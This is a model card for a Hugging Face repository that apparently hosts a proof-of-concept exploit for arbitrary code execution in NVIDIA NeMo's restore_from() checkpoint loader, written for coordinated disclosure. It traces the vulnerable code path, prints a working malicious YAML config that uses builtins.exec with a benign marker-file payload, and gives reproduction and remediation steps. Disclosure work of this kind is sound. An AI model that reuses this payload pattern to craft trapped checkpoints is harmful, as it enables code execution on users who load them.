Instructions to use Havzer/nemo-restore-from-rce-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- NeMo
How to use Havzer/nemo-restore-from-rce-poc with NeMo:
# tag did not correspond to a valid NeMo domain.
- Notebooks
- Google Colab
- Kaggle
File size: 4,514 Bytes
1fed603 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | ---
license: apache-2.0
tags:
- security
- proof-of-concept
- do-not-use
viewer: false
---
# β οΈ SECURITY RESEARCH PoC β DO NOT LOAD THIS MODEL β οΈ
This repository is **not a real model**. It hosts a single crafted
`malicious_vocoder.nemo` that demonstrates **arbitrary code execution** when an
untrusted NVIDIA **NeMo** `.nemo` checkpoint is loaded with the standard
`restore_from()` API.
It exists solely for **coordinated disclosure** to the NeMo maintainers via
[huntr](https://huntr.com). The payload is **benign** β it prints a banner and
writes a marker file `PWNED_NEMO_HF.txt` into your OS temp directory. **Do not
load it** unless you understand exactly what it does.
Affected: `nemo_toolkit` **2.7.3 (latest)** and `main` (2.8.0). No OSV/GHSA
advisory covers 2.7.x.
---
## The bug in one paragraph
A `.nemo` file is a tar archive containing `model_config.yaml`. On
`restore_from()`, NeMo loads that **untrusted** YAML and constructs the model.
Several TTS/vocoder `__init__` methods then call **`hydra.utils.instantiate(self._cfg.<subkey>)`
directly** on sub-configs taken verbatim from the YAML. `instantiate()` resolves
and **calls the `_target_`** with attacker-supplied `_args_`, so a sub-config
like `preprocessor: {_target_: builtins.exec, _args_: ["<python>"]}` runs
arbitrary code at load time. These raw calls **bypass** NeMo's `safe_instantiate`
allow-list (the CVE-2026-24159 hardening), which only guards the
`from_config_dict` `_target_` branch β not the model `__init__` path.
## Vulnerable chain (NeMo 2.7.3)
1. `nemo/core/connectors/save_restore_connector.py` β `OmegaConf.load(model_config.yaml)` (untrusted)
2. `β¦` β `calling_cls.from_config_dict(config=conf, trainer=trainer)`
3. `nemo/core/classes/common.py:589` `from_config_dict` β a normal model config (no top-level `_target_`) hits the `else` branch and constructs `cls(cfg=config)`, running the model `__init__` with the untrusted config (only the `_target_` / `cls+params` branches route through guarded `safe_instantiate`).
4. `nemo/collections/tts/models/waveglow.py:49`
```python
self.audio_to_melspec_precessor = instantiate(self._cfg.preprocessor) # RAW, no allow-list
```
where `instantiate` is `from hydra.utils import instantiate` (waveglow.py:17).
5. `hydra.utils.instantiate` executes the attacker `_target_` β **RCE**.
Same raw `instantiate(self._cfg.*)` sink in: `tacotron2.py:113-115`,
`two_stages.py:126/131`, `spectrogram_enhancer.py:276`, plus `univnet.py`,
`vits.py`, `radtts.py`, `mixer_tts.py` (all `from hydra.utils import instantiate`).
A second, independent vector is the legacy `target` else-branch in
`common.py:614` (`import_class_by_path(config["target"])` β `imported_cls(cfg=config)`),
also unguarded.
## The malicious `model_config.yaml` (inside the .nemo)
```yaml
sigma: 1.0
preprocessor:
_target_: builtins.exec
_args_:
- |
import os, tempfile
open(os.path.join(tempfile.gettempdir(), "PWNED_NEMO_HF.txt"), "w").write("RCE")
print("[PWNED] code ran inside WaveGlowModel.restore_from()")
waveglow: {}
```
## Reproduce (victim's point of view)
```bash
pip install nemo_toolkit[tts] huggingface_hub
```
```python
from huggingface_hub import hf_hub_download
from nemo.collections.tts.models import WaveGlowModel
path = hf_hub_download(repo_id="<this-repo>", filename="malicious_vocoder.nemo")
WaveGlowModel.restore_from(path) # __init__ -> instantiate(self._cfg.preprocessor) -> code runs
```
Observed: a `[PWNED] β¦` banner prints and `PWNED_NEMO_HF.txt` appears in your
temp dir, **before** `restore_from` errors out on the placeholder weights β
proving the code runs at load time.
## Impact
`.nemo` checkpoints are routinely distributed via the Hugging Face Hub and
NVIDIA NGC; `restore_from` is **the** standard loading API. A victim loading an
attacker's TTS/vocoder `.nemo` β a normal, trusted-looking action β gets
arbitrary code execution in their process.
`CVSS:3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (~8.8 High).
## Remediation
Route all model-config-driven instantiation through `safe_instantiate` (or run
`_validate_config_targets_recursive` before every
`hydra.utils.instantiate(self._cfg.*)` in `nemo/collections/tts/models/*`), and
guard the legacy `target` branch in `from_config_dict` (`common.py:605-625`).
---
*Reported responsibly via huntr. Files in this repo are inert configuration; the
"weights" are a zero-byte placeholder. Replace the benign payload at your own risk.*
|